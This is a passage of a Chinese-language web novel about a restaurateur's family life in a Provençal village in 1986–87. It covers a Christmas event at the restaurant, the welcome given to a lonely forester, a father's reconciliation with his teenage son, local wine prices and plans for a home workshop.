伊莎贝尔纠结了一下,最终还是没有纠正路易的话,只是催促他: “快进去吧,里面还有惊喜呢。” 路易怀揣着期待进入餐厅,第一眼看到的居然是同样一身宫廷服装打扮的维埃里。 正在错愕之际,维埃里没有任何情绪起伏的问: “先生,我们这里提供免费的中世纪服装,需要换一件再进去用餐吗?” 路易顺着维埃里指的方向看到了一个简易衣架,上面有各种样式的古典服装: “弄得还挺像那么回事的。” 维埃里催促道: “先生,要换吗?” 路易无语的看维埃里,心想你还跟我来劲了? 见路易不说话,维埃里非常职业做了一个请的手势: “那请进吧。” 路易终于进入了餐厅,在收银台看到正在帮忙的佐伊,他指着门口向佐伊抱怨: “维埃里居然叫我先生??” 佐伊挤出了一个无奈的笑容: “他也叫我女士。” 随后她继续补充: “而且叫半个多月了。” 维埃里在餐厅碰到佐伊,一直以‘女士’称呼她,佐伊已经吐不出来什么槽了。 餐厅里的客人非常多,许多小孩换上了宫廷服饰在圣诞装扮前拍照,这项服务也是餐厅免费提供的。 路易跃跃欲试的主动挽起袖子: “我来帮忙。” 佐伊的眼睛被惊恐的情绪所填满,她指着一个放满甜品的大长桌对路易说: “那你去问一下罗南吧,问问他还有什么事情可以安排给你。” 甜品肯定是圣诞节中非常重要的一个环节。 为了营造重要的‘十三甜品’气氛,餐厅里布置出来一个专门摆放甜品的区域,上面是罗南和莉亚近期一起研究出来的圣诞限定甜品。 而此时罗南和莉亚正在给这个区域‘补货’。 “哦,上帝,只是看这些甜品我就饿了。”路易来到莉亚和罗南的身边,热情的说,“我来帮你们!” 莉亚和罗南同时惊呼出口,并拉开了手里的甜品和路易之间的距离。 “你要干什么?”莉亚惊恐的问。 路易给了妻子一个拥抱: “我来和家人团聚啊,你们三个都在餐厅里工作,我也来帮忙。” 路易的假期很少,他愿意放弃休息时间来餐厅陪家人让莉亚很感动。 但路易是捣乱圣体,他经常把事情搞砸。 莉亚可不敢赌上帝看在今天是圣诞节的面子上,让路易少惹一点麻烦。 但丈夫的热情让她无法拒绝,无奈只能把责任推出去: “罗南.有哪里缺人吗?” 罗南挤出一个无辜的笑容: “我来想一想。” 莉亚拿着甜品盘离开,趁路易不注意,用嘴型对罗南说: “别让路易碰任何东西,求你!!” “我去点餐?”路易问罗南。 罗南把路易拉到一边,胡乱安排了一个安全的工作给他: “我今天有点忙,要去后面做甜品,没有精力顾全大局,你帮我看着前厅吧,如果活动哪里有问题,随时指出来。” 路易笑着平摊双手: “这活动怎么可能有问题呢?宫廷主题、拍照服务,还有这些甜品——” 路易啧啧称奇的说: “每一环都很吸引人啊,我第一次见把甜品像货品一样摆出来的餐厅,今天的甜品一定会卖的非常棒,它们太有吸引力了,罗南,你真是一个天才!” 罗南笑着摇头,指着在门口低头看‘活动注意事项’的维埃里说: “这几个想法是维埃里提出来的,你应该夸维埃里是天才。” 那份‘活动注意事项’维埃里每天拿在手里,一天要看几十遍,生怕疏忽了哪里。 “维埃里?”路易皱着眉头看向门口的儿子。 真的假的? 餐厅里盯着维埃里看的不止是路易。 几个女艺术家偷偷看着他聊好久了。 薇薇安压低声音说: “我就说佐伊的弟弟不错吧,你们还说他太‘嫩’了,这身宫廷服饰把他衬得像是王子一样,真不敢想再过几年他能长成什么样子。” 宝莱特吃了一口圣诞限定甜品,语气复杂的说: “佐伊长相和气质那么出众,她弟弟肯定不会差,将来肯定是帅哥一枚。” 她突然‘嗯?’了一声,用叉子指着这款圣诞老人的造型蛋糕说: “你们也点一个尝尝,它的味道和外形一样出众,我还以为它只有噱头呢。” 薇薇安看向甜品台: “我这个圣诞树的蛋糕也很好吃,刚刚就想给你们推荐了,还有好多款没吃呢,我每一个都想尝尝。” “那咱们都点一遍吧?拼着吃?” “可以,走走走,去选甜品,别盯着佐伊的弟弟看了。” “不耽误,哎呀,真的很帅。” “你是不是变态,他才十七岁!” 伊莎贝尔带着客人路过薇薇安这桌,听到了她们的对话,不由得也回头看了一眼认真工作的维埃里。 “帅吗?还行吧.”她撇了下嘴。 带完客人,伊莎贝尔回到门口继续迎宾。 弗雷迪也带着孩子们来餐厅过节,看到门口这么多人等位,夸张的张大嘴巴: “罗南太厉害了吧,圣诞节活动也这么成功?” 伊莎贝尔小声嘟囔了一句: “是罗南和维埃里一起策划的。” “你说什么?”弗雷迪没听清。 伊莎贝尔提高了音量: “圣诞节活动是罗南和维埃里一起策划的!” 维埃里和伊莎贝尔只隔着一扇大门。 听到伊莎贝尔的话,维埃里开心的回过头去。 这世界上除了罗南,又多了一个肯定他的人。 路易听从了罗南的安排,在前厅负责‘巡视’,终于和家人团聚上了。 但另一个男人就没有这么好运了。 无法回家的布鲁诺在罗南的餐厅里一杯一杯的喝着闷酒,似乎把一辈子的气都叹完了。 突然,他面前的桌子上出现一个圣诞节款式的甜甜圈。 “圣诞快乐布鲁诺,需要我陪你喝两杯吗?”罗南微笑着问。 第276章 ‘和谐\’的姐弟关系 “当然。”布鲁诺挤出一个苦笑。 罗南把甜甜圈往前推了一些: “也许吃点甜的东西能缓解你的心情?” 布鲁诺看着甜甜圈说: “以前我妻子一到圣诞节就会亲自做圣诞蛋糕.” 罗南好奇的问: “以前?现在不做了?” 布鲁诺叹气: “是的,自从我们第二个孩子出生,她就换了一份工作.那之后圣诞节前后她变得非常忙碌,没时间自己做了。” 罗南非常‘感同身受’: “在巴黎养两个孩子可不容易。” 孩子无论在哪个年代都是‘吞金兽’,尤其是巴黎! 布鲁诺的语气更加低落了: “不知道他们满不满意妈妈今年买的圣诞蛋糕昨天他们还在电话里问我什么时候能回去,说想让我带他们去动物园。” 他用力捶了一下桌子: “该死的,我真想现在就回到巴黎!” 罗南安慰道: “我猜他们的妈妈一定把他们照顾的非常好,你看他们还有心情想出去玩的事,不是吗?” 他给布鲁诺倒了一杯酒,语气轻松的说: “三月份很快就到,而且我听说你确定要升职了,孩子们一定会理解你的。” 农夫们全部在国家森林局当临时工,罗南有一天听他们说,布鲁诺这次在普罗旺斯的‘借调’工作非常出色,上面决定这次矮木丛清扫活动一结束就给他升职。 一个孤独的圣诞节换一次升职.这样想一想就没有那么难受了吧? 布鲁诺感激的对罗南说: “抱歉了伙计,请原谅一个想家男人的碎碎念吧,我知道自己现在一定像是个唠唠叨叨的‘寡妇’,” 罗南微笑着平摊双手: “理解,如果让我远离亲人独自过节,我可能还没你情绪稳定呢。” 布鲁诺不好意思的侧了下脑袋: “第一次离家过节,有一点小小的崩溃。” 为了让自己不像是个唠唠叨叨的‘寡妇’,他咬了一口面前的甜甜圈: “不过我说真的,我在巴黎吃过中餐,你们这里的味道比巴黎更棒,我每周都要来一两次,更恐怖的是什么你知道吗——” 布鲁诺指着甜甜圈说: “更恐怖的是,你们的甜品做的一点不比巴黎的那些著名餐厅差,伙计,你真有点东西。” 罗南开心的和他喝了一杯: “这可真是一个值得让人骄傲的评价,希望你回到巴黎也能记得我这里。” 罗南今天有许多事情要忙,不能陪布鲁诺太久。 他在的时候,布鲁诺的状态还可以,罗南一离开,布鲁诺又萎靡了下去。 圣诞节是家庭团聚的日子,餐厅里全部是以家庭为单位来吃饭的人,显得他更孤独了。 但一个人在宿舍待着只会让布鲁诺更加难受 说实话,他的心情糟透了! “嘿头儿!” 布鲁诺的面前又出现了一份甜品,随即小胖子康奈尔胖乎乎的脸出现了。 “圣诞快乐!” “带家人来过节?”布鲁诺问康奈尔。 康奈尔摇头: “我来帮罗南送松露,有一家餐厅缺货了,要送点货过去。” 布鲁诺点了下头,他知道康奈尔还有其他工作: “去忙吧。” 康奈尔并没有离开,而是点了酒,稳稳当当的坐了下来。 “你不是去送货吗?”布鲁诺问。 康奈尔憨厚的说: “不着急,坐半个小时再去。” 布鲁诺继续问: “开车还喝酒?” 康奈尔笑着说: “没事,我就喝半杯,在普罗旺斯一杯葡萄酒不算酒驾,头儿,我敬你!” 康奈尔陪布鲁诺聊了半个小时,在罗南的催促下离开了餐厅。 康奈尔刚离开,特奥就端着杯子坐到了布鲁诺的对面: “我陪你喝。” “你怎么也来了?”布鲁诺诧异的问。 特奥指着在门口拍照的安娜: “安娜闹着要来这里过节。” 布鲁诺看到了特奥的可爱女儿和妻子,微笑着说: “快去陪她们吧。” 特奥倔强的举起酒杯: “她们要拍好一会,安娜一玩起来就不肯停下,咱们先喝。” “这——”布鲁诺不知道说什么好了。 一直到晚上7点半,布鲁诺对面时不时就坐下来个人陪他聊一会、喝一会。 他知道这是农夫们‘故意为之’。 有了这帮‘新朋友’的陪伴,布鲁诺的心情好了许多。 但欢聚总有结束的时候,餐厅里的人越来越少,越来越少布鲁诺知道,他要回宿舍去面对孤独了。 不知道是不是心理作用,还是真的降温了。 布鲁诺觉得外面的气温比他下午来的时候低了许多。 看着卢尔马兰街道两旁一盏一盏温馨的灯光,他又开始思念家人了。 不知道这个时间,妻子和孩子们有没有开始吃火鸡? 没有吃火鸡的圣诞节是不完美的就像是没有家人陪伴一样不完美。 而可怜的布鲁诺两者都占了。 “我一定是吕贝隆最可怜的人。”他紧了紧衣服,向着临时停车场行进。 突然,身后传来一道急促的脚步声,很快那声音变成了跑。 “嘿,布鲁诺!” 布鲁诺扭头,看到身后追来的人居然是罗南。 “有事吗?”他停下脚步问。 罗南拍了拍他的肩膀: “真是一个不留神你就走了啊,快跟我走。” “去哪儿?”布鲁诺疑惑的问,餐厅不是打烊了吗? 罗南指了一个方向: “过节!” 布鲁诺被罗南带到一个亮着温馨灯光的民宅里。 一开门,迎面扑来的热气驱赶走了他身体的寒冷。 而屋里人对他的态度,又驱赶走了他心里的寒冷。 一个高大的帅气男人像是老朋友一样把他搂住,猛拍他的肩膀: “一个人过圣诞节怎么行?拿这里当自己家一样,快尝尝我妻子的手艺,这是卢尔马兰最棒的火鸡,她从昨天就开始准备了。” 另一个黄皮肤的中年男人拿着一瓶布鲁诺没有见过的透明色液体也围了过来: “喝过中国的白酒吗?一起尝尝?” 懵逼的布鲁诺被这两个热情的男人带到餐厅,发现这里已经准备好了真正的‘圣诞大餐’,比他在巴黎家里吃的还要丰盛。 厨房里两个正在忙碌的女人也对他投去了极大的热情,不停问他爱吃什么、想吃什么,家里还有许多菜,什么都能做。 见布鲁诺局促不安的样子,罗南似乎看到了一年前的自己。 他笑着给布鲁诺解释: “这是我父母和我女朋友的家人,你不要局促,安安心心留下和我们一起过节,我们普罗旺斯人不会冷落任何一个远道而来的朋友,我发誓。” 看着这一屋子对他投来善意的‘陌生人’,布鲁诺突然觉得这里比巴黎‘温暖’多了。 “我一定是吕贝隆最幸运的人。”他感激不尽的说。 布鲁诺在餐厅里就喝了不少酒,到这里喝了一点白酒马上‘醉’了,拿着电话给在巴黎的妻子诉说在吕贝隆认识了一群如何如何好的朋友。 分圣诞蛋糕的时候他都没有过来,维埃里懂事的拿了一块送到他的手里。 趁着维埃里不在,路易小声问罗南: “今天的圣诞活动,真的是维埃里设计的?” 这个问题路易在白天问了罗南不下五次,无论罗南怎么说他都不信。 路易完全不相信,他那酒都喝不了两口就要去吃甜品的儿子居然有这么大本事。 罗南无语的叹气: “路易,我相信你心里早就有答案了,今天你一整天都在餐厅里,难道没有看到维埃里的表现吗?” 他指着远处的维埃里说: “就算你不相信维埃里有这个能力,但他的态度你没有看到吗?他对待这件事非常认真,可能你不知道,今天早上是他来餐厅开门的,比我爸爸妈妈还早到了半个小时。” 冯珍点头肯定: “维埃里每一天都很认真。” 见维埃里走了回来,罗南喝了一口粉红酒,带着明显不满的情绪对路易说: “你拥有一个非常优秀的儿子,但你却不自知,还总是在他身上挑毛病,我觉得维埃里没有任何青春期问题,有也是你们‘造成’的,总是拿他喜欢足球说事,搞得他一点自信都没有了。” 路易压低声音说: “他对足球太痴迷了。” 罗南耸肩: “那又怎么样呢?” 佐伊咳嗽了一声,提示他们维埃里回来了,赶紧结束这个话题。 路易求助的看向女儿佐伊,似乎在说: 你明白我的意思吧,宝贝? 我们的态度是一致的! 佐伊抿了一下嘴,起身回到自己的卧室。 一分钟后,她拿了一个蓝色的礼物出来,隔着桌子送给对面的维埃里。 维埃里没有接,指着家门的圣诞树说: “你给我的礼物不是在那里吗?一个白色的书包,我已经拆开了。” 佐伊低头吃了一口蛋糕: “今年给你准备了两份礼物。” 佐伊每年都送维埃里文具,即使两份礼物维埃里也没有什么期待的情绪。 他像应付作业一样,没有灵魂的拆开包装纸,又打开了盒子,然后发出了一声不该在他这个年纪出现的尖叫声。 “上帝上帝上帝!”维埃里把盒子里的球衣拿出来,放到灯下仔细打量,“是让·皮埃尔·帕潘亲笔签名的马赛球衣!!” 他激动问佐伊: “你从哪里弄来的?你怎么知道我在马赛队里最喜欢他??” 佐伊没有什么情绪起伏的说: “你天天在家里说,我记住了.找朋友弄来的。” 维埃里激动的把脸埋在球衣里,似乎又回到了几个月前那个单纯、无忧无虑的大男孩: “谢谢,谢谢同学们一定会羡慕死我的!” 维埃里只安静了几秒,随后拿着球衣在屋子里怪叫起来,不停的踱步。 佐伊看着瞪大眼睛的父亲,语气复杂的说: “爸爸,我认为咱们之前忽视了太多维埃里身上的闪光点,就像罗南说的,对待这次圣诞节他真的很认真和努力,应该有所改变的不是维埃里,而是我们我们应该学会尊重他了。” “你在说什么?”维埃里绕回来,只听到一两个单词。 “没有你的事!”佐伊指了一下客厅,示意他去那边怪叫,不要耽误大人们聊事情。 “好的。”维埃里开心的走了。 佐伊喝了一口酒,又深呼吸了一口: “好吧,我承认我做的也不好,但我会努力改变的。” 第277章 修剪多余的‘葡萄枝\’ 巴黎一家人已彻底‘普罗旺斯’化。 过去的一年里,他们充分感受到了普罗旺斯人民的热情和好客,现在他们把这份热情给到了独自在他乡过节的布鲁诺。 在路易家过完节后,他们把布鲁诺邀请到了自己家的客房休息,在圣诞节当天孤独的开车回宿舍并不是个明智的决定。 而这份热情一直延续到第二天一早。 布鲁诺一觉醒来,吃到了一顿异常‘圣诞风’的早餐。 见布鲁诺一直盯着餐具看,罗南给他解释: “是我女朋友几年前做的,她家没地方放了,我拿了过来,很有节日气氛吧?” 布鲁诺笑着说: “我的两个孩子一定会很喜欢它们。” 他又看向桌子上的那些圣诞造型的食物,用开玩笑的语气说: “真没想到,早餐也能吃的这么‘隆重’。” 昨晚的圣诞大餐给他留下了深刻的印象,他们只有8个人,但桌子上摆放了可以招待至少十几个人吃的食物。 罗天海拿着一份报纸坐下来,笑着说: “在普罗旺斯,最不值钱的就是时间,既然如此为什么不把日子过的‘隆重’一些呢?” 看着罗南这一家子悠闲吃饭喝咖啡的样子,布鲁诺完全想象不到大概一个小时后他们就要出去工作了。 这种生活状态,他只在度假的时候体会过。 更让布鲁诺无法理解的是,当罗天海说昨晚吃的有点多胃不太舒服时,罗南一家的反应。 如果是在巴黎,正常人应该会服药或者打电话给专业的药剂师,但冯珍的第一反应居然是给罗天海倒了一杯橄榄油。 没错,橄榄油!! 冯珍对此的解释是: “在普罗旺斯,胃痛、心口灼热、关节痛、蛀牙等一系列不关乎性命的小病,都可以先喝一点橄榄油试试有没有好转。” 罗天海熟练的把橄榄油喝了: “普罗旺斯人说,医学和科学界都有证明表示橄榄油对身体有益,我不知道科学家和医生是否说过这种话,但有的时候喝橄榄油真的挺管用的。” 罗南像做广告一样,拿起没有任何牌子标示的橄榄油桶给布鲁诺展示: “尤其是这种本月现榨出来的特级橄榄油,‘药效’更好,听说每天喝一杯可以多活25岁。” 布鲁诺啧啧称奇的问: “你们搬来普罗旺斯多久了?” 罗南放下橄榄油桶,笑着耸肩: “还有半个月就一年了,我知道你在想什么,但普罗旺斯就是有这种魔力任何人来这里都会被改变的。” 布鲁诺笑着端起咖啡杯: “我相信这里有这种魔力。” 圣诞节过后,餐厅一切回到正轨,没有什么需要特别去关注的事情,每天数钱就可以了。 但由于罗南分身乏术,家门口那片葡萄园的冬季剪枝进度不及预期,懂事的维埃里趁着圣诞假期每天去帮罗南剪枝。 在维埃里的世界里,罗南是最懂他,也是对他最好的人,即使佐伊送了他签名球衣,也无法撼动罗南的超群地位。 能帮助到罗南是维埃里最开心的事! 某一天下午,维埃里正在葡萄园里工作,一辆老旧的二手两厢雪铁龙停到罗南家的柏油马路上,一身农夫打扮的路易从车上走了下来。 “还有第二把修枝剪吗?”路易问儿子。 维埃里指了一下罗南家的驴棚: “需要我去帮你拿吗?那里现在被葡萄枝堆满了,不太好找东西。” 路易帅气的转身,去往驴棚: “你太小看我了维埃里,你还没出生我就和葡萄藤打交道了,它们在我手里说不定比在罗南手里更加听话。” 维埃里弯下腰继续工作,一分钟后听到驴棚方向传来房屋坍塌一样的声音,随后是路易暴怒的惊呼: “该死的,你在用葡萄枝搭积木吗?快来救救我,我被它们淹没了!!” 美好的亲子活动被坍塌的葡萄枝搅乱了。 路易一边干活,一边喋喋不休的抱怨维埃里那样堆放东西有多危险: “你就没想过,如果是你姐姐进去会怎么办?万一她一开门,倾下而下的葡萄藤割伤了她的手怎么办?她还怎么去参加戈尔德的活动?” “院子里有那么大的地方,你非要把它们塞到驴棚里?还堆迭的那么高.你是觉得那很有意思吗维埃里?” 维埃里做了个‘饶了我吧’的表情: “罗南说那些葡萄藤最好不要堆放在露天的地方,而且我只是把它们暂时放在那里下周新的工具房就要动工,罗南说会让工人搭建一个地方存它们,是你开门太用力,它们才会倒下来,我和罗南每天开门,从来没有出过这种事情。” 维埃里搬出罗南,路易也不能再说什么,他只能从其他方面找回面子: “你留的芽太多了,长枝留6-8芽就可以,其余的全部剪掉,它们会吸收走过多的养分。” 维埃里放下修枝剪,看向十几米外的父亲: “短枝留2-4芽,长枝留8-12芽,这是罗南告诉我的。” 路易看着葡萄藤说: “多剪掉一些没有关系,我种了十几年的地,这还能弄错吗?” 维埃里的情绪开始崩溃: “可我这几天都是按照8-12芽留的,你的意思是让我重新返工吗爸爸?” 路易停下手里的动作。 他明明是来和维埃里修复关系的怎么又弄成这个样子了呢? “休息一下吧。”路易离开了葡萄园,打开车门坐到汽车上。 他们父子需要一些冷静的时间。 维埃里也离开了葡萄园,但他选择远远的坐到距离路易十几米的地方。 冷静了一分钟后,路易主动开口说道: “我没有逼你做农夫或者房产中介,其实无论你做什么,我和你妈妈都会支持的。” 维埃里把手里的干草用力扔了出去: “佐伊跟你说的?” 路易扭头看儿子: “为什么不觉得是罗南?” 维埃里语气冰冷的说: “罗南只会告诉佐伊,但佐伊会告诉你们所有人。” 路易无力的拍了一下方向盘: “维埃里,你对我们的敌意是不是太大了一点?” 维埃里负气的说: “你们对我的敌意就不大吗?我做什么都是错的,连剪枝留几颗芽都是错的。” “我——”路易想要解释、想要反驳,但又找不到好的理由。 扪心自问,他确实没有肯定过维埃里什么。 紧张的家庭关系,双方都有责任。 维埃里起身拍了拍屁股,去葡萄园里继续干活。 以上是近半年来他们父子关系的缩影,火药味十足的对话,聊不了两句维埃里就会逃避离开,之后这件事不了了之但在彼此的心里积攒起更大的怒气。 但这次维埃里离开后,路易追了过去。 维埃里仰天长叹: “不要再跟过来说我了好吗爸爸,我会把前几天少剪掉的葡萄藤重新剪一遍,我发誓!” 路易在儿子旁边的那列葡萄藤停下,也开始剪枝: “不用,也许多留点,明年能长出不一样的东西。” 维埃里停下动作,认真听背后的声音。 但等了一会,除了剪刀的声音外,再没有其他的话传出,他便专心干活了。 “咔嚓咔嚓——”路易熟练的修剪掉多余的葡萄芽。 佐伊和罗南说的对他是该改变一下对维埃里的态度了。 那么就从‘剪掉’否定这个习惯开始吧。 也许经过修剪的父子关系能和这片葡萄园一样,在明年秋天之前长出新的‘果实’。 圣诞节之后没几天就是元旦,两个重大节日连到一起,会享受的普罗旺斯人免不了一通吃吃喝喝。 虽然圣诞活动结束了,但罗南餐厅里的人流量不差,三五好友一坐就是几个小时,话题更是扯到天南海北。 无论聊什么话题,都有普罗旺斯‘专家’能和你对上两句。 听到艺术家们在聊关于11月份那场令人心惊胆战的西北风话题,皮埃尔和几个农夫也必须要卖弄一下他们的专业知识。 罗南刚从山里回来,就被拉到了这桌坐下,硬逼着他吸收普罗旺斯气象知识。 “你知道在普罗旺斯一共有多少种风吗?”皮埃尔问罗南。 罗南知道这帮人需要的是能提供情绪价值的‘听众’,装作好奇的问: “风还能有几种?就东南西北那几个呗。” 法比安得意的拍了一下桌子,对罗南的反应相当满意: “在普罗旺斯,每一种风都有它的名字,我们不用东南西北称呼风。” “比如?”罗南憋着笑问。 皮埃尔双手比划起来: “南方来的风叫‘航海风’,它起自非洲沙漠,所到之处所有东西都蒙上脏兮兮的沙尘;从东边来的风叫‘黎凡特风’,那会带来雨水;‘特拉维索风’则从西方吹来。” 法比安也开始卖弄起来: “‘黑山风’是东北偏北风、‘比索风’是西北偏北风、‘格雷高风’是东北偏东风,还有‘芒吉方吉风’、‘达墨风’、‘息山坡风’.只要在罗盘上能标注出方向的风都有它的名字,足有30多种呢。” 罗南似乎闻到了阴谋的味道。 他不会又被皮埃尔这个‘恶作剧大王’盯上,想要拿他寻开心了吧? 普罗旺斯人真是够闲的啊.真给风起这么多名字? 为了验证真假,他问道: “那十一月那场西北风呢?它叫什么。” 皮埃尔和法比安异口同声的说: “布拉风,从西北方吹来的是布拉风。” 罗南一怔。 还真有名字. 不过那场在一个月前让大家‘叫苦连连’的西北风,在心情不错的普罗旺斯人嘴里变成了‘小风’一个,不值得畏惧的那种。 皮埃尔用轻松的语气说: “布拉风在米斯特拉尔风面前不值一提,米斯特拉尔才是普罗旺斯破坏性最强的风种,如果这种来自北方的强冷风光临普罗旺斯,我可没有心情在这里和你们喝酒吹牛了。” 法比安心情不错的说: “如果米斯特拉尔风来了,即使莫力酒庄明天公布的价格比今年低一倍,我也笑不出来了。” 罗南猛的抬头: “明天莫力酒庄就要公布给我们的价格了吗?” 每年年底或年初,莫力酿酒合作社会公布给附近居民最新的红酒‘友情’价。 今年卢尔马兰因为葡萄品质好,拿到了折上折的价格,罗南也在关注这件事,他可是用酒大户。 皮埃尔兴奋的搓起了手: “就在明天!” 第278章 把宠女人进行到底! 第二天罗南要进山采松露,无法第一时间得知莫力酿酒合作社,不,现在应该称呼其为莫力酒庄标出的葡萄酒价格。 不过在‘友情价’的基础上再打一个折扣,想必价格肯定会非常亲民。 但晚上罗南回到卢尔马兰,发现大家的情绪不太对劲。 那些爱酒人士一个个耷拉着脸,餐厅里的人都少了。 罗南马上想到了缘由,问母亲: “莫力酒庄没给到好价格?” 冯珍点头: “莫力酒庄说他们今年要申请AOC,不能按照以前的价格卖酒了,最亲民的那款餐酒从20法郎涨到了25法郎,这还是折上折的价格对外售卖要40法郎一瓶,其余的几款全部调整到了50法郎以上。” 她压低声音说: “而且现在也不卖散户了,要一次性订多少箱才能给到那个价格,白天村民们骂了好久。” 罗南叹气: “酿酒合作社是纯手工制酒,成本低,升级到酒庄,老板一定采购了很多先进设备,成本肯定一下子就上去了。” 冯珍问罗南: “咱们今年还跟莫力合作吗?” 罗南餐厅里的平价红葡萄酒也是从莫力酒庄采购的。 “远一点的酒庄更贵了啊。”罗南无奈的说。 吕贝隆的居民通常只会购买本村葡萄供应的那个酒庄或者合作社的酒,因为那是最便宜的买酒渠道。 去别的地方买酒更贵了。 虽然莫力今年涨价了,但去其他地方也买不到25法郎一瓶的红葡萄餐酒了。 而这个亲民款是居民喝的最多、也是罗南餐厅消耗最多的一种。 不过罗南突然又想到了一件事。 莫力的红葡萄酒涨价后,餐厅里最‘亲民’的酒变成了斯特斯加的粉红酒。 粉红酒在普罗旺斯的‘风评’不佳,价格下限非常低。 又因为有协会的那层关系,亲民款杰罗姆给到了罗南18法郎一瓶的价格。 这次莫力的涨价,会不会利好粉红酒啊? 不过这件事的前提是,斯特斯加酒庄依然存在。 “这两天有人打餐厅电话找我吗?”罗南问母亲。 雅克先生说伊内斯要组织下一次聚会了,主题是帮助斯特斯加酒庄找下家。 怎么还不来消息? 冯珍摇头: “只有那些要松露的餐厅找过你,但我都让康奈尔送去了。” 罗南用手指在收银台上敲了几下。 再等几天,如果还不来消息,他就去问问雅克先生。 伊内斯应该非常着急让大家一起出力,恐怕又是最重要的主角阿斯特丽德女士的时间出了问题。 但阿斯特丽德怎么会这么忙啊. 这哪里像是什么贵族,都快忙成‘苦力’了。 见儿子表情凝重,冯珍以为他是为红葡萄酒的进货价提高而苦恼,马上告诉了他一个好消息。 她在计算器上摁下了一个五位数的数字,兴奋的说: “12月的利润!” 罗南把头凑过去,眼前顿时一亮,压低声音说: “7万多?这么多啊.” 餐厅10月份的利润有10万出头,11月因为各种各样的突发原因,利润降到了3万,12月又升上来了! 冯珍猛眨了几下眼: “现在生意稳定下来了,我和你爸爸估计1月份也能有这个数,如果能保持住这个水平,等天气暖和起来把室外打开、游客也来了一个月不得20多万?” 现在是普罗旺斯旅游业的淡季,别的店铺都关门赔钱,他们却在赚钱。 等旺季来了.妈呀,不敢想了! 罗南幻想了一下那画面,开心的拍了一下计算器: “老规矩,你们拿走2万,剩下的帮我存起来。” 冯珍咂了一下嘴: “说多少次了,我和你爸爸用不了那么多钱。” 跟谁学的啊,一两万的给?! 罗南笑着说: “我买房子的钱还是你们资助的呢。” 没有父母给的那6万法郎,罗南赶不上在11月份把商业街的这个房子买下来。 过了一个月,卢尔马兰的房价果然又涨了。 “这不是我们要住的房子吗!”冯珍压低声音小声喊。 “哎呀,别在外面聊钱的事,就这么定了。”罗南去后厨,“今天晚上吃的什么?饿死了。” “诶诶诶!!”冯珍站起来,在后面叫了几声,罗南根本不理她。 她生气的坐了下去,小声嘟囔: “给我们也是帮你存下来啊,这孩子!” 过了一分钟。 冯珍侧了一下脑袋,自言自语道: “那天佐伊说的口红叫什么牌子来着?” 又过了一分钟。 她突然嘿嘿笑了两声。 既然儿子给了钱,那就买两根新口红吧。 粉饼也用完了,再买一个粉饼。 衣服衣服也可以买两身。 嗯,再给老罗买双新鞋。 诶,罗南衣服够不够? 快春节了,家里是不是得置办点东西? “想什么呢,笑成这副样子?”弗雷迪来接弗洛西下班,见冯珍低着头傻笑,不由得问出声。 冯珍骄傲的甩了下头发: “想我上辈子是积了多大的德,这辈子能生下个这么好的儿子。” 冯珍给罗南报了餐厅的账,提醒罗南也该算一算其他生意12月的收益了。 现在摊子铺得太大,算钱必须找一个单独时间拿出纸笔认真记录,只靠脑子已经不够用了。 餐厅这里的利润是5万。 编织生意12月做的也是相当不错,虽然编织灯和饰物还没卖起来,但花环的市场彻底打开了,后半个月往阿普特送了3趟、一共1400多个花环,利润有3万8千多。 随着【采集】技能升级,后半个月松露生意也爆发了一次井喷,除了供应给雅克、阿图尔和帕斯卡的那五十多公斤原本的松露外,多挖出来的三十多公斤松露也通过在卡庞特拉特色松露集市上认识的松露经纪人找到了下家。 整个12月,罗南通过松露生意赚了13万法郎,这还没算在卡庞特拉松露集市上卖的那8万多,如果全部加到一起一个月收入超过了20万,而且是20万现金!! 还有两个集市上赚的1万法郎,还完房贷剩下的1万3千法郎. 在1987年的1月份,罗南已经是一个拥有2套房、2辆车,24万存款的人了! 而且这24万存款是在1个月内赚出来的。 11月底去政府买完房子,罗南口袋里只有几百法郎。 算完帐,罗南把笔放下,发自内心的感叹: “1月和2月努努力,按照这个赚钱速度我很快就要成为真正的‘富豪’了!” 有了钱第一件事是干什么? 那当然是花了! 这一点罗南遗传了母亲。 拿到‘建筑许可证’后,罗南马上联系了卡福,让他来卢尔马兰施工。 “什么,你要建两层的木工房?”电话里传出卡福不解的声音,“我不是怕麻烦,是觉得没有那个必要,你已经把一层的面积定到150平米不需审批的极限,两层300平米完全是浪费,说真的,连150平米都不需要,你又不是职业木工,那只是你的爱好我认为70-80平米足够了。” 罗南舒服的靠在沙发上,纠正道: “木作确实是我的爱好,但你忘记我们家还有一个职业艺术家了吗?那不仅仅是我们家的木工房,也是未来佐伊的工作室。” 小情侣第一次聊到婚后规划时,罗南就说过,要在后院给佐伊搭一个足够宽敞的工作室。 但佐伊说那完全没有必要,罗南家距离路易家不过10分钟的路程,即使结婚了,她也可以每天回父母家工作。 但罗南是那种扣扣搜搜的人吗? 他罗南是个极度宠女人的人,无论是妻子还是母亲! 既然要建木工房,就把佐伊的工作室一起安排了。 罗南认真观察过佐伊的工作环境,他认为佐伊完全有必要把陶瓷工艺和玻璃工艺两种工艺分开,因为它们需要的材料、工序和工具完全不同。 而且佐伊在创作的过程中有些工序是会产生粉尘,但有些工序是没有危害身体的气体和漂浮物产生的,例如设计画图、看工具书、做模具和最后的抛光工序等。 但由于现在的工作空间不够,所有工作只能在一个空间内进行,导致佐伊一进工作室就要戴上防护等级最高的口罩,一戴就是一天,罗南看着心疼死了。 未来这个家庭工作室一楼的一半是木工房,里面会有全套木工机械和手工工具,还要有一个巨大的、可以允许两个人同时工作的大工作台。 另外一半单独隔出来放佐伊的窑炉,水泥、玻璃、石膏等制作材料,还有那些可能对身体有害的工序也在这里进行,整个一层将全面覆盖最先进的除尘系统。 二楼设计成一个干干净净的工作室,可以让佐伊舒舒服服的在里面工作、看书、思考,不用担心粉尘的危害。 罗南想好了,二楼还有要沙发、电视、吧台、卫生间这些配套设施,给佐伊一个最好的环境。 听完罗南的全部设想,卡福不停叹气: “做你的女人太幸福了吧,伙计,如果我是佐伊现在就要嫁给你了!” 罗南紧张的坐直身体: “你要替我保密.这个想法我只跟你说了,我打算送给佐伊一个惊喜。” 卡福羡慕的说: “明天我就带人给你创造‘惊喜’去,见面聊吧,该死的,我也想要一个那么棒的工作室!!” 第279章 奇怪的品酒师 梦想讲完了,下面全部是实际的事。 第二天,卡福一早就到了罗南家,和他算起这间升级后的工作室所需要消耗掉多少法郎。 “吕贝隆有一套修建马厩和谷仓的省钱方法,足够满足你工作室的需要,没必要建的和住宅一样精美吧?”卡福从罗南的角度出发帮他考虑。 罗南点头: “我要的就是你说的那种,不止外立面,里面也不要过度装修,主打一个原始感。” 卡福踩了踩地面: 